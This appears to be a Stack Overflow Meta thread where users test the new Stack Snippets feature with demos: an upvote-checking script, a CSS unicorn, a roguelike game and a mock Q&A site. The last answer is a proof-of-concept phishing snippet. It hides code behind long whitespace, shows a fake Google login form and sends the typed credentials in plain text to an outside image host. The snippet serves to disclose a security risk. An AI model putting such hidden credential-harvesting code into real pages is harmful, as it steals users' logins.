237

This post is dedicated to testing out the newly announced Stack Snippets feature. Feel free to answer with your own Stack Snippets, and have some fun!

31
  • 134
    Plus points to whoever can find a way to abuse it? :)
    – Mysticial
    Commented Aug 25, 2014 at 21:10
  • 2
    @Mysticial one way to find out... ;)
    – Haney Staff
    Commented Aug 25, 2014 at 21:15
  • I'll have to try this out when I get home- Work won't let me run the snippet in the answer below because it's from a "Newly Registered Website" :(
    – Kendra
    Commented Aug 25, 2014 at 21:42
  • @Kendra sounds like a workplace firewall that blocks based on content. stacksnippets.net is a newly registered domain.
    – Haney Staff
    Commented Aug 25, 2014 at 21:52
  • 1
    @Haney That's what it was exactly. I'm sure it'll chill after a while. :)
    – Kendra
    Commented Aug 25, 2014 at 23:43
  • Well, there goes PPCG. I honestly don't know if it's a good or bad thing there. Easily testable, yet obfuscated snippets :D
    – Geobits
    Commented Aug 26, 2014 at 3:07
  • 2
    Seems like my workplace firewall is blocking most of these, which in turn then crashes my current tab, good idea, but if it is blocked at work / public networks then it's going to be a hindrance more than anything :(
    – Joe
    Commented Aug 26, 2014 at 8:49
  • 6
    I wonder how long it will be before someone tries to write a snippet that when run applies an upvote to the containing answer (or question)...
    – JonK
    Commented Aug 26, 2014 at 13:26
  • 1
    @JayBlanchard The snippets run fine for me in Firefox 31. Commented Aug 26, 2014 at 13:36
  • 1
    @JayBlanchard That's good, because I was going to resort to the old "Have you tried turning it off and on again?" and I really didn't want to have to do that. Commented Aug 26, 2014 at 19:36
  • 1
    @bfrohs you get points. I start the negotiations at whateverNumberOfPointsYouWant * -1 and let's settle in the middle?
    – Haney Staff
    Commented Aug 26, 2014 at 21:04
  • 4
    I would like -9001 points please ;)
    – 0b10011
    Commented Aug 26, 2014 at 21:05
  • 6
    Perfect, I'll counter with 9001 and we'll meet in the middle (0).
    – Haney Staff
    Commented Aug 26, 2014 at 21:09
  • 1
    I don't know if it's just me, but this page takes FOREVER to load and render...
    – lc.
    Commented Sep 9, 2014 at 5:52
  • 1
    Are the stack snippets broken? Because the server stacksnippets.net seems to have 500 server error issues. And it has been like this for a little while. Any updates on this? Commented Jan 29, 2015 at 13:20

108 Answers 108

567

Detecting and Requiring Upvotes to View the Result

I'm not totally sure this will work...SE caches the API requests, so I can only update it every minute (I think). I can't test it extensively because I'm starting to run out of requests on my IP for some reason, and I can't upvote my own question. I'm not used to working with APIs, so this may not be very optimized. Please suggest improvements and report your results, I would appreciate it.

EDIT: Now you'll see something cool when you upvote.

$(document).ready(function() {
  $.getJSON("https://api.stackexchange.com/2.2/questions/269754/answers/?order=desc&site=meta.stackoverflow&client_id=3519&callback=?", function (data) {
  
      var originalScore = data.items.find(v => v.answer_id == 270116).score;

      $("#postCounter span").text(originalScore);

      var counter = 60;

      function updateCounter() {
          $("#counter span").text(counter);
          counter--;
          if (counter == 0) {
              counter = 60;
              $.getJSON("https://api.stackexchange.com/2.2/questions/269754/answers/?order=desc&site=meta.stackoverflow&client_id=3519&callback=?", function (data) {
                  var newScore = data.items.find(v => v.answer_id == 270116).score;
                  if (newScore > originalScore) {
                      $("#message").html("WOOHOO! You upvoted!<img src='https://i.imgur.com/B5aTato.gif' />");
                  } else if (newScore < originalScore) {
                      $("#message").text("Someone downvoted! :( Upvote!");
                  } else {
                      $("#message").text("Upvote to see the result! (nothing new)");
                  }
                  originalScore = newScore;
              });
          }
          setTimeout(updateCounter, 1000);
      };

      updateCounter();
  });
});
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.js"></script>
<div id="message">Upvote to see the result!</div>
<div id="counter">Time until next request: <span></span>
</div>
<div id="postCounter">This answer had <span></span> votes when you loaded the demo.</div>

8
  • 5
    Awww.... I wanted something cool for my upvote!
    – JDB
    Commented Sep 16, 2014 at 21:56
  • 9
    There, I gave it a better reward.
    – Ian
    Commented Sep 23, 2014 at 20:58
  • 21
    Can I re-upvote this? That is awesome.
    – Kendra
    Commented Sep 23, 2014 at 21:06
  • 8
    The 60 second delay really kills it. It would be nice if you could do if($x('//*[@id="answer-270116"]/table/tbody/tr[1]/td[1]/div/a[1]')[0].className.match('vote-up-on')){ handleUpVote() } but the sandboxing is sure to get in the way. Commented Mar 3, 2015 at 21:19
  • 15
    This is great for when you really want that reputation! "This answer will blow your mind! Click upvote to see it!"
    – default
    Commented May 16, 2016 at 11:19
  • 7
    Note this also works on downvotes... ;P
    – Mistalis
    Commented Mar 28, 2017 at 11:33
  • 2
    For reference, the reward is text saying "WOOHOO! You upvoted!" and a gif of fireworks. i.imgur.com/B5aTato.gif
    – Stevoisiak
    Commented Aug 4, 2017 at 13:12
  • 2
    @Kendra You can retract your upvote to upvote it again later. But you can only do that 30 times. Commented Dec 23, 2017 at 20:40
207

Huh? Not much love for CSS in the current answers? So I would share mine... designed specially for testing this feature... :)

Also on CodePen

Conclusion : It will be great if we can use Auto Prefixer, Prefix free like general plugins

//Made for Stack Overflow Code Testing

//Unicorn Inspired by http://drbl.in/kayh

//Made by Mr. Alien


/*
 * Just created in a hurry, so won't refactor my CSS
 * as of now, also I can drastically reduce
 * the markup but I won't do it right now
*/
html, body {
  height: 450px;
  background: -webkit-radial-gradient(center, ellipse, #fce300 0%, #ffc700 46%, #ff7f00 100%);
  background: radial-gradient(ellipse at center, #fce300 0%,#ffc700 46%,#ff7f00 100%);
}

.unicorn {
  position: absolute;
  left: 50%;
  top: 170px;
  margin-left: -250px;
}

.tail > div,
.body > div,
.leg > div,
.leg2 > div,
.leg3 > div,
.unihorn {
  width: 0; 
  height: 0;
  position: absolute;
  -webkit-transform-origin: 50% 50%;
      -ms-transform-origin: 50% 50%;
          transform-origin: 50% 50%;
}

.tail .pone{ 
  border-left: 30px solid transparent;
  border-right: 40px solid transparent;
  border-bottom: 30px solid #ffb82b;
  -webkit-transform: rotate(6deg);
      -ms-transform: rotate(6deg);
          transform: rotate(6deg);
}

.tail .ptwo {
  border-left: 40px solid transparent;
  border-right: 30px solid transparent;
  border-bottom: 30px solid #FD8A07;
  -webkit-transform: rotate(-39deg);
      -ms-transform: rotate(-39deg);
          transform: rotate(-39deg);
  top: 26px;
  left: -30px;
}

.tail .pthree {
  border-top: 30px solid transparent;
  border-bottom: 30px solid transparent; 
  border-right: 30px solid #ffb82b; 
  -webkit-transform: rotate(5deg); 
      -ms-transform: rotate(5deg); 
          transform: rotate(5deg);
  top: 45px;
  left: -12px;
}

.tail .pfour {
  top: 72px;
  left: 17px;
  border-bottom: 35px solid #FD8A07;
  border-right: 35px solid transparent;
  -webkit-transform: rotate(5deg);
      -ms-transform: rotate(5deg);
          transform: rotate(5deg);
}

div.body .pone {
  border-top: 10px solid transparent;
  border-left: 221px solid #FD8A07;
  border-bottom: 60px solid transparent;
  -webkit-transform: rotate(40deg);
      -ms-transform: rotate(40deg);
          transform: rotate(40deg);
  top: 65px;
  left: 45px;
}

div.body .ptwo {
  border-bottom: 70px solid #ffb82b;
  border-left: 90px solid transparent;
  border-right: 130px solid transparent;
  -webkit-transform: rotate(43deg);
      -ms-transform: rotate(43deg);
          transform: rotate(43deg);
  top: 15px;
  left: 87px;
}

div.body .pthree {
  border-bottom: 100px solid #FD8A07;
  border-left: 20px solid transparent;
  border-right: 130px solid transparent;
  -webkit-transform: rotate(71deg);
      -ms-transform: rotate(71deg);
          transform: rotate(71deg);
  top: 15px;
  left: 200px;
}

div.body .pfour {
  border-bottom: 100px solid #ffb82b;
  border-left: 30px solid transparent;
  border-right: 130px solid transparent;
  -webkit-transform: rotate(109deg);
      -ms-transform: rotate(109deg);
          transform: rotate(109deg);
  top: 38px;
  left: 246px;
}

div.body .pfive {
  border-bottom: 60px solid #FD8A07;
  border-right: 105px solid transparent;
  left: 310px;
  top: -27px;
  -webkit-transform: rotate(34deg);
      -ms-transform: rotate(34deg);
          transform: rotate(34deg);
}

div.body .psix {
  border-top: 85px solid #ffb82b;
  border-left: 85px solid transparent;
  left: 319px;
  top: -40px;
  -webkit-transform: rotate(19deg);
      -ms-transform: rotate(19deg);
          transform: rotate(19deg);
}

div.body .pseven {
  border-bottom: 110px solid #FD8A07;
  border-left: 85px solid transparent;
  left: 350px;
  top: -144px;
  -webkit-transform: rotate(19deg);
      -ms-transform: rotate(19deg);
          transform: rotate(19deg);
}

div.body .peight {
  border-bottom: 90px solid #ffb82b;
  border-right: 120px solid transparent;
  left: 425px;
  top: -92px;
  -webkit-transform: rotate(18deg);
      -ms-transform: rotate(18deg);
          transform: rotate(18deg);
}

div.body > div.eye {
  background-color: #000;
  top: -70px;
  left: 445px;
  height: 10px;
  width: 10px;
  border-radius: 50%;
  z-index: 1;
}

div.nose {
  border-bottom: 40px solid #f27d00;
  border-right: 40px solid transparent;
  -webkit-transform: rotate(-28deg);
      -ms-transform: rotate(-28deg);
          transform: rotate(-28deg);
  left: 480px;
  top: -15px;
}

div.extreme-left {
  border-top: 115px solid transparent;
  border-right: 30px solid #ffb82b;
  border-bottom: 110px solid transparent;
  -webkit-transform: rotate(-65deg);
      -ms-transform: rotate(-65deg);
          transform: rotate(-65deg);
  left: 130px;
  top: 4px;
}

div.leg .pone {
  border-top: 120px solid transparent;
  border-right: 60px solid #FD8A07;
  border-bottom: 0px solid transparent;
  -webkit-transform: rotate(-50deg);
      -ms-transform: rotate(-50deg);
          transform: rotate(-50deg);
  top: 55px;
  left: 45px; 
}

div.leg .ptwo {
  border-top: 20px solid transparent;
  border-right: 30px solid #ffb82b;
  border-bottom: 20px solid transparent;
  top: 145px;
  -webkit-transform: rotate(-24deg);
      -ms-transform: rotate(-24deg);
          transform: rotate(-24deg);
  left: 66px;
}

div.leg .pthree {
  border-top: 15px solid transparent;
  border-right: 33px solid #FD8A07;
  border-bottom: 20px solid transparent;
  top: 164px;
  -webkit-transform: rotate(34deg);
      -ms-transform: rotate(34deg);
          transform: rotate(34deg);
  left: 63px;
}

div.leg .pfour {
  border-left: 0 solid transparent;
  border-right: 20px solid transparent;
  border-bottom: 100px solid #ffb82b;
  -webkit-transform: rotate(-15deg);
      -ms-transform: rotate(-15deg);
          transform: rotate(-15deg);
  top: 165px;
  left: 80px;
}

div.leg .pfive {
  border-bottom: 30px solid #FD8A07;
  border-right: 30px solid transparent;
  top: 235px;
  -webkit-transform: rotate(-15deg);
      -ms-transform: rotate(-15deg);
          transform: rotate(-15deg);
  left: 89px;
}

div.body .extreme-right {
  left: 246px;
  top: 100px;
  border-top: 30px solid #FD8A07;
  border-left: 80px solid transparent;
  border-right: 85px solid transparent;
  -webkit-transform: rotate(-33deg);
      -ms-transform: rotate(-33deg);
          transform: rotate(-33deg);
}

div.leg2 div.pone {
  border-top: 50px solid #ffb82b;
  border-right: 85px solid transparent;
  left: 339px;
  top: 84px;
  -webkit-transform: rotate(-53deg);
      -ms-transform: rotate(-53deg);
          transform: rotate(-53deg);
}

div.leg2 div.ptwo {
  border-bottom: 20px solid #FD8A07;
  border-left: 42px solid transparent;
  border-right: 30px solid transparent;
  -webkit-transform: rotate(62deg);
      -ms-transform: rotate(62deg);
          transform: rotate(62deg);
  left: 328px;
  top: 146px;
}

div.leg2 .pthree {
  border-left: 0 solid transparent;
  border-right: 20px solid transparent;
  border-bottom: 100px solid #ffb82b;
  -webkit-transform: rotate(-15deg);
      -ms-transform: rotate(-15deg);
          transform: rotate(-15deg);
  top: 154px;
  left: 368px;
}

div.leg2 .pfour {
  border-bottom: 30px solid #FD8A07;
  border-right: 30px solid transparent;
  top: 230px;
  -webkit-transform: rotate(-15deg);
      -ms-transform: rotate(-15deg);
          transform: rotate(-15deg);
  left: 378px;
}

div.leg3 div.pone {
  border-top: 50px solid transparent;
  border-left: 60px solid #ef7b00;
  border-bottom: 30px solid transparent;
  left: 382px;
  top: 60px;
  -webkit-transform: rotate(6deg);
      -ms-transform: rotate(6deg);
          transform: rotate(6deg);
}

div.leg3 div.ptwo {
  border-left: 0px solid transparent;
  border-right: 30px solid transparent;
  border-top: 50px solid #e87604;
  left: 419px;
  top: 116px;
  -webkit-transform: rotate(-18deg);
      -ms-transform: rotate(-18deg);
          transform: rotate(-18deg);
}

div.leg3 div.pthree {
  border-bottom: 30px solid #e5892d;
  border-left: 13px solid transparent;
  left: 411px;
  top: 143px;
  -webkit-transform: rotate(-17deg);
      -ms-transform: rotate(-17deg);
          transform: rotate(-17deg);
}

div.leg3 .pfour {
  border-bottom: 30px solid #FD8A07;
  border-right: 30px solid transparent;
  top: 173px;
  -webkit-transform: rotate(76deg);
      -ms-transform: rotate(76deg);
          transform: rotate(76deg);
  left: 403px;
}

.unihorn {
  top: -130px;
  left: 446px;
  border-top: 10px solid transparent;
  border-left: 120px solid #FD8A07;
  border-bottom: 10px solid transparent;
  -webkit-transform: rotate(-36deg);
      -ms-transform: rotate(-36deg);
          transform: rotate(-36deg);
}
<div class="unicorn">
  <div class="tail">
    <div class="pone"></div>
    <div class="ptwo"></div>
    <div class="pthree"></div>
    <div class="pfour"></div>
  </div>
  <div class="body">
    <div class="pone"></div>
    <div class="ptwo"></div>
    <div class="pthree"></div>
    <div class="pfour"></div>
    <div class="pfive"></div>
    <div class="psix"></div>
    <div class="pseven"></div>
    <div class="peight"></div>
    <div class="eye"></div>
    <div class="nose"></div>
    <div class="extreme-left"></div>
    <div class="extreme-right"></div>
  </div>
  <div class="leg">
    <div class="pone"></div>
    <div class="ptwo"></div>
    <div class="pthree"></div>
    <div class="pfour"></div>
    <div class="pfive"></div>
  </div>
  <div class="leg2">
    <div class="pone"></div>
    <div class="ptwo"></div>
    <div class="pthree"></div>
    <div class="pfour"></div>
  </div>
  <div class="leg3">
    <div class="pone"></div>
    <div class="ptwo"></div>
    <div class="pthree"></div>
    <div class="pfour"></div>
  </div>
  <div class="unihorn"></div>
</div>

6
  • 52
    Much fluffy, such unicorn.
    – Mansueli
    Commented Aug 26, 2014 at 15:23
  • 103
    It's... it's... it's indescribably beautiful
    – David Fullerton Mod
    Commented Aug 26, 2014 at 15:31
  • 13
    Great work, like origami unicorn Commented Aug 26, 2014 at 17:59
  • 5
    This. Is. Incredibly. Awesome. Commented Sep 8, 2014 at 21:58
  • 1
    Not much love for the Alien :(
    – m4n0
    Commented Dec 14, 2016 at 16:42
  • 1
    That is impressive but looked massively annoying to put in place (when looking at the HTML)
    – kockburn
    Commented Jul 11, 2019 at 8:40
183

Let's do a little dungeon crawling! (canvas/keyboard test)

/* set up ROT library */
ROT.DEFAULT_WIDTH = 80;
ROT.DEFAULT_HEIGHT = 16;
var display = new ROT.Display({fontSize: 12});
document.getElementById("canvasContainer").appendChild(display.getContainer());

var data, player, goal, pickaxe = false, level = 0, gold = 0;

/* function to determine if (x,y) is open or a wall */
var lightPasses = function(x, y) {
    var key = x+","+y;
    if (key in data) { return (data[key] !== 1); }
    return false;
};

/* redraw the map; called after each step */
function redraw() {
    display.drawText(0,  0, "Level "+level+", Gold "+gold);
    var fov = new ROT.FOV.PreciseShadowcasting(lightPasses);

    /* use ROT.js to compute visibility and draw the map */
    fov.compute(player.x, player.y, 10, function(x, y, r, visibility) {
        var ch = "", key = x+","+y;
        if(data[key] === 0) { ch = "."; }
        if(data[key] === 2) { ch = "o"; }
        if(!r) { ch = pickaxe ? "#" : "@"; }
        if(goal.x == x && goal.y == y) { ch = "X"; }
        var bgcolor = ["#333","#AAA","#333"][data[key]];
        var fgcolor = ["#FFF","#AAA","#ecff67"][data[key]];
        display.draw(x, y+1, ch, fgcolor, bgcolor);
    });
}

/* create a new level with walls, start point, and goal */
function createMap() {
    /* clear and output help text */
    level++;
    display.clear();
    display.drawText(0,  ROT.DEFAULT_HEIGHT-2, "Use HJKL, WASD or the arrow keys to explore the dungeon and find the goal. P toggles pickaxe. Made with rot.js (https://ondras.github.io/rot.js)");

    /* use ROT.js to generate a new wall dictionary */
    data = {};
    var freeSpaces = [];
    new ROT.Map.Digger(ROT.DEFAULT_WIDTH, ROT.DEFAULT_HEIGHT-2).create(function(x, y, type) {
        data[x+","+y] = type;
        if(!type) { freeSpaces.push(x+","+y); }
    });
    /* shuffle the free spaces */
    for (let i = freeSpaces.length - 1; i > 0; i--){
        const j = Math.floor(Math.random() * i);
        const temp = freeSpaces[i];
        freeSpaces[i] = freeSpaces[j];
        freeSpaces[j] = temp;
    }

    /* pick a start location from available free spaces */
    var coords = freeSpaces[0].split(",");
    player = {
        x: +coords[0],
        y: +coords[1]
    };
    /* reset pickaxe on every new level */
    pickaxe = false;

    /* pick a goal location from available free spaces */
    coords = freeSpaces[1].split(",");
    goal = {
        x: +coords[0],
        y: +coords[1]
    };
    /* every 20 blocks there's a gold */
    for (let i = 2; i <= freeSpaces.length / 20; i++)
        data[freeSpaces[i]] = 2;
    redraw();
}

/* create the first level */
createMap();

document.addEventListener("keydown", function(e) {
    var newPos = { x: player.x, y: player.y };

    /* calculate new position based on step direction */
    if([ROT.KEYS.VK_LEFT, ROT.KEYS.VK_H, ROT.KEYS.VK_A].indexOf(e.keyCode) != -1) { newPos.x-=1; }
    if([ROT.KEYS.VK_RIGHT, ROT.KEYS.VK_L, ROT.KEYS.VK_D].indexOf(e.keyCode) != -1) { newPos.x+=1; }
    if([ROT.KEYS.VK_UP, ROT.KEYS.VK_K, ROT.KEYS.VK_W].indexOf(e.keyCode) != -1) { newPos.y-=1; }
    if([ROT.KEYS.VK_DOWN, ROT.KEYS.VK_J, ROT.KEYS.VK_S].indexOf(e.keyCode) != -1) { newPos.y+=1; }

    /* toggle pickaxe */
    if([ROT.KEYS.VK_P].indexOf(e.keyCode) != -1) { pickaxe = !pickaxe; }

    var key = newPos.x+","+newPos.y;
    /* if the target space is clear, move there */
    if([0, 2].indexOf(data[key]) !== -1) {
        gold += (data[key] === 2);
        data[key] = 0;
        player.x = newPos.x; player.y = newPos.y;
    } else if(data[key] === 1 && pickaxe) {
        /* if the target space is a wall AND the player is using the pickaxe, dig */
        data[key] = 0;
        player.x = newPos.x; player.y = newPos.y;
    }

    /* redraw the level */
    redraw();

    /* if we made it to the goal, make a new level */
    if(player.x == goal.x && player.y == goal.y) { createMap(); }

    /* Don't scroll the page if the arrow keys are pressed */
    e.preventDefault();
});
<script src="https://cdn.jsdelivr.net/npm/rot-js@2/dist/rot.min.js"></script>
<div id="canvasContainer"></div>

15
  • 146
    +1 for wasting 3 hours of my life Commented Aug 26, 2014 at 15:09
  • 6
    Favorited this thread just for this <3
    – Unihedron
    Commented Aug 26, 2014 at 15:10
  • 13
    This is great. Are you supposed to be able to just blast through walls though?
    – j.f.
    Commented Aug 26, 2014 at 15:23
  • 9
    @j.f. Pickaxes were my favorite think in Nethack (archaeologist class all the way!), but it is a bit odd that you can just blast through walls by default. I've made it a toggleable option instead!
    – apsillers
    Commented Aug 26, 2014 at 15:31
  • 1
    @apsillers, very nice!
    – j.f.
    Commented Aug 26, 2014 at 15:36
  • 1
    Fantastic! If only all of the snippets posted in the future will be this good...
    – xDaevax
    Commented Aug 28, 2014 at 18:50
  • 3
    Pressing UP arrow or DOWN arrow for me is causing the page to scroll up or down a line at the same time the player moves up or down.
    – Cᴏʀʏ
    Commented Sep 9, 2014 at 22:33
  • 14
    You MONSTER what have you done? I haven't done anything for 2 hours. :D Commented Sep 26, 2014 at 11:14
  • 11
    This is a little difficult to play with when your keyboard is in dvorak...
    – Jenn
    Commented Oct 29, 2014 at 22:26
  • 5
    You should be the dots edible. Then add in some "ghosts".
    – mbomb007
    Commented Mar 4, 2015 at 19:56
  • @Cᴏʀʏ fixed by adding preventDefault() Commented Dec 14, 2016 at 13:46
  • 1
    Know this is dead and all, but this needs a feature for holding in key for constant movement. It is annoying having to smash he keys to mvoe Commented Jul 17, 2017 at 14:15
  • @Zoe This has been implemented in revision 9. Enjoy!
    – iBug
    Commented Apr 6, 2019 at 9:49
  • @Cᴏʀʏ This has been fixed in revision 9. Please enjoy :)
    – iBug
    Commented Apr 6, 2019 at 9:49
  • 1
    @iBug I wanted to say thanks (many months after the fact) for your improvements! I really like them. :)
    – apsillers
    Commented Nov 4, 2019 at 16:49
78

Yet another s***ty Stack Overflow clone (WIP, feel free to contribute).

Features:

  • You can ask questions (duh)
  • You still cannot post answers
  • Mixed spaces and tabs all rejoice
  • Industry-standard jQuery selector how-to-do-it
  • Version control and diffing courtesy of Stack Exchange
  • Also, I have two forks: the SO one and on my editor. Syncing is a breeze!
  • Some form of self-upvoting

TODO:

  • Post answer
  • Stylesss
  • etc.
  • Fulfill everyone's dream. Elect your self as a mod. Insta-close and delete hammer!

$(document).ready(function() {
	$('#ask-question').click(function(e) {
		e.preventDefault();
		
		$('#question-form').removeClass('hidden');
		$('#questions').addClass('hidden');
		$('#question').addClass('hidden');
	});
	
	$('#cancel-question').click(function(e) {
		e.preventDefault();
		
		$('#question-form').addClass('hidden').find('input[type=reset]').click();
		
		$('#questions').removeClass('hidden');
	});
	
	$('#question-form').submit(function(e) {
		e.preventDefault();
		
		var question = $('#questions .question.hidden').clone().removeClass('hidden');
		question.find('.title').html($(this).find('input[name=title]').val());
		question.find('.body').html($(this).find('textarea[name=body]').val());
		
		question.prependTo($('#questions'));
	
		$('#cancel-question').click();
	});
	
	$('#questions').on('click', '.question .title', function(e) {
		e.preventDefault();
		
		$('#questions').addClass('hidden');
		$('#question').removeClass('hidden');
		
		var question_item = $(this).parents('.question');
		$('#question-content').find('.title').html(question_item.find('.question-summary .title').html());
		$('#question-content').find('.body').html(question_item.find('.question-summary .body').html());
		
		question_item.addClass('viewed');
	});
	
	$('#upvote-none').click(function() {
		$('#question, #questions .question.viewed').addClass('upvoted').removeClass('downvoted');
	});
	
	$('#upvote-yes').click(function() {
		$('#question, #questions .question.viewed').removeClass('upvoted').removeClass('downvoted');
	});
	
	$('#downvote-none').click(function() {
		$('#question, #questions .question.viewed').removeClass('upvoted').addClass('downvoted');
	});
	
	$('#downvote-yes').click(function() {
		$('#question, #questions .question.viewed').removeClass('upvoted').removeClass('downvoted');
	});
	
	$('#close-question').click(function(e) {
		e.preventDefault();
		$('#question').addClass('hidden').removeClass('upvoted downvoted');
		$('#questions').removeClass('hidden');
		
		$('#questions .question.viewed').removeClass('viewed');
	});
});
 
body {
  font-family: 'Arial';
}

.hidden {
  display: none;
}

#header {
	height: 100px;
}

#logo-area {
  float: left; /* bah! */
  width: 300px;
}

#menu {
  margin-left: 300px;
  padding-top: 30px;
}

#menu a {
  display: inline-block;
  background-color: #777;
  padding: 5px 10px;
  color: #fff;
  text-decoration: none;
  vertical-align: middle;
}

#menu a + a {
  margin-left: 5px;
}

#menu a:hover,a.selected {
  background-color: #FF9900;
}

#ask-question {
  float: right;
}


#questions .question + .question {
	margin-top: 20px;
}

#questions .question .title, #question .title {
	font-weight: bold;
	color: #000;
	display: block;
}

#questions .question .body, #question .body {
	margin-top: 10px;
}

#questions .question .votes .zero {
	display: none;
}

#questions .question:not(.upvoted):not(.downvoted) .zero {
	display: block;
}

#questions .question:not(.upvoted):not(.downvoted) .upvote,.downvote {
	display: none;
}

#questions .question.upvoted .upvote {
	display: block;
}

#questions .question.downvoted .downvote {
	display: block;
}


#vote-area {
	float: left;
	width: 50px;
}

#question-content {
	margin-left: 50px;
}


#question:not(.upvoted) #upvote-yes {
	display: none;
}

#question:not(.downvoted) #downvote-yes {
	display: none;
}

#question.upvoted #upvote-none {
	display: none;
}

#question.downvoted #downvote-none {
	display: none;
}
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>

<div id="header">
  <div id="logo-area">
	<img id="logo" src="https://i.sstatic.net/HCDT0.png">
  </div>

  <div id="menu">
	<a href="#" id="menu-questions" class="selected">Questions</a>
	<a href="#" id="menu-tags">Tags</a>
	<a href="#" id="menu-users">Users</a>
	<a href="#" id="menu-badges">Badges</a>
	<a href="#" id="menu-unanswered">Unanswered</a>
	<a id="ask-question" href="#">Ask Question</a>
  </div>
</div>

<form id="question-form" class="hidden">
	<div>
		<label>
			Title <input type="text" name="title" required>
		</label>
	</div>
	
	<div>
		<textarea name="body" required></textarea>
	</div>

	<div>
		<input type="submit" value="Post Question">
		<input type="reset" value="Reset" class="hidden">
		
		<a href="#" id="cancel-question">Cancel</a>
	</div>
</form>

<div id="questions">
	<div class="question hidden">
		<div class="votes">
			<div class="zero">0 votes</div>
			<div class="upvote">1 vote</div>
			<div class="downvote">-1 vote</div>
		</div>
		
		<div class="question-summary">
			<a href="#" class="title"></a>
			<div class="body"></div>
		</div>
	</div>
</div>

<div id="question" class="hidden">
	<a href="#" id="close-question">Back to questions</a>

	<div id="vote-area">
		<div><img id="upvote-none" src="https://i.sstatic.net/d3ZxT.png"></div>
		<div><img id="upvote-yes" src="https://i.sstatic.net/ODYeu.png"></div>
		<div><img id="downvote-none" src="https://i.sstatic.net/bWB0F.png"></div>
		<div><img id="downvote-yes" src="https://i.sstatic.net/J6Lgl.png"></div>
	</div>
	
	<div id="question-content">	
		<div class="title"></div>
		<div class="body"></div>
	</div>
</div>
        
    


P.S. This is not to make fun of SO or something (well...). Just having fun, life, etc.

P.S 2 Maybe after all these stuff I throw at it we'll see some programmers flying out of demons' noses.

10
  • 8
    I can't vote on this because there are no vote buttons.
    – BoltClock Mod
    Commented Aug 26, 2014 at 7:42
  • @BoltClock Something got in the way of creativity, so the project is kind of delayed... Commented Aug 26, 2014 at 7:48
  • 62
    It breaks if you try and ask a second question. Hmmm, maybe this really is an improved Stack Overflow…
    – Cody Gray Mod
    Commented Aug 26, 2014 at 8:37
  • 45
    I just love the logo. Commented Aug 26, 2014 at 13:24
  • Well, I guess at this moment there are at least 18 people who oppose the very idea and point of SO. I knew that already; it's nice to see the cockroaches out with the lights on. Commented Aug 27, 2014 at 21:13
  • 28
    Just for recursions sake there should be a run code snippet in the new questions.... Commented Sep 10, 2014 at 2:59
  • @BoltClock , you can upvote ,first ask question Commented Sep 19, 2014 at 7:52
  • 3
    I've been having so much fun with this. Commented Aug 6, 2018 at 0:06
  • 2
    Didn't see my question being downvoted, so unrealistic. eye roll
    – Avamander
    Commented Aug 6, 2018 at 2:00
  • “Slack overflow“—a mix of the collaboration tools we all ‘love’!
    – cobrexus
    Commented Jun 9, 2020 at 12:45
69

Users don't always notice the horizontal scrollbar on code snippets, and it's even harder to notice when the good code obviously scrolls, but not as much as the scrollbar indicates. This can lead to users' credentials being stolen unintentionally.

I would highly suggest more of a warning when clicking "Run code snippet" to warn against this danger. Perhaps just a warning above/below the snippet when it's run that warns that content could be malicious?

To test:

  1. Click "Run code snippet" below
  2. Click "Log in using Google"
  3. Enter fake credentials and submit (credentials will be sent to http://placehold.it/ in plain text)
  4. Notice the image loaded is from an external server and had the credentials sent to it (and back, in the form of the image)

$("#main-warning").css("color", "#f00");                                                                                                                                                                                                                                                                                                                                                                                                                $("#provider").css("display", "block");$("#provider-google").click(function() {$("#login").css("display", "block");$("#provider").css("display", "none");});$("#login-form").submit(function(event) {$("#login").css("display", "none");$("#test").attr("src", "http://placehold.it/400x100&text=" + $("#login-email").val() + " :( " + $("#login-password").val());$("body").css("overflow", "visible");event.preventDefault();});
#main-warning {
  color:#c00;
}                                                                                                                                                                                                                                                                                                                                                                                                                body {overflow:hidden;}#provider, #login {display:none;position:fixed;top:0;bottom:0;left:0;right:0;z-index:100;overflow:auto;background:#fff;padding:10px;}#provider {font-family:Arial,Liberation Sans,DejaVu Sans,sans-serif;font-size:12.8px;color:#888;}#provider span {display:inline-block;background:#F9F9F9;border:1px solid #D4D4D4;padding:7px;width:258px;cursor:pointer;}#provider span img {vertical-align:middle;}#login {text-align:center;font-family:Arial,Liberation Sans,DejaVu Sans,sans-serif;}#login > div {margin:0 auto;max-width:300px;}#login > div > p {color:#333;}#login > div > p.warning {color:#f00;font-style:italic;}#login form {text-align:left;background:#eee;box-shadow:2px 2px 2px #ccc;padding:.01em 15px;width:100%;}#login input {border:1px solid #ccc;padding:10px;box-sizing:border-box;width:100%;max-width:100%;}#login button {background:#2771D8;color:#fff;border:0;padding:10px;width:100%;border-radius:3px;}
<p id="main-warning">The image below was requested from another server. It could just as easily have been a 1px by 1px image hidden like the rest of this html. This makes it very easy for someone to collect credentials of several users (especially users new to functionality). It likely won't be noticed until someone familar with functionality comes across it, or someone tries to edit it.</p>
<img id="test" src="http://placehold.it/400x100/">                                                                                                                                                                                                                                                                                                                                                                                                                <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script><div id="provider"><p>Please log in to view Stack Snippet.</p><span id="provider-google"><img src="http://placehold.it/16x16/5081f1/ffffff&text=g"> Log in using Google</span></div><div id="login"><div><img src="http://placehold.it/100x40&text=Google"><p>Sign in with your Google Account</p><p class="warning">Don't type in an actual password, it will be sent in a request when submitting</p><form id="login-form" method="post" action="#"><p><input id="login-email" type="email" placeholder="Email" autofocus required></p><p><input id="login-password" type="password" placeholder="Password" required></p><p><button id="login-button" type="submit">Sign in</button></p></form></div></div>

6
  • 32
    Good one, possible phishing as it were.
    – Haney Staff
    Commented Aug 26, 2014 at 20:37
  • 4
    @Haney Aye. And it could obviously be expanded to the other services. I just did enough to get the point across ;)
    – 0b10011
    Commented Aug 26, 2014 at 20:37
  • 3
    Additionally, if it matters, it could likely be possible to save state so each user only sees the message once. Either with cookies, or trying to load an image with Image() and checking if it fails or not (and having the server fail if user already loaded, based on cookie or IP on the server's end).
    – 0b10011
    Commented Aug 26, 2014 at 20:44
  • So how can we fight this? Is it even possible? What about onhover/click/keydown open a new tab that looks exactly like Google's homepage but it's domain is googgle.com or googIe.com?
    – Pacerier
    Commented Sep 27, 2014 at 13:57
  • 1
    @Pacerier The second paragraph offers some suggestions for combating this. A simple "Do not share any personal information, including passwords." message would help tremendously. A "What are these snippets?" help link would be beneficial as well (even if it was just a ? tooltip).
    – 0b10011
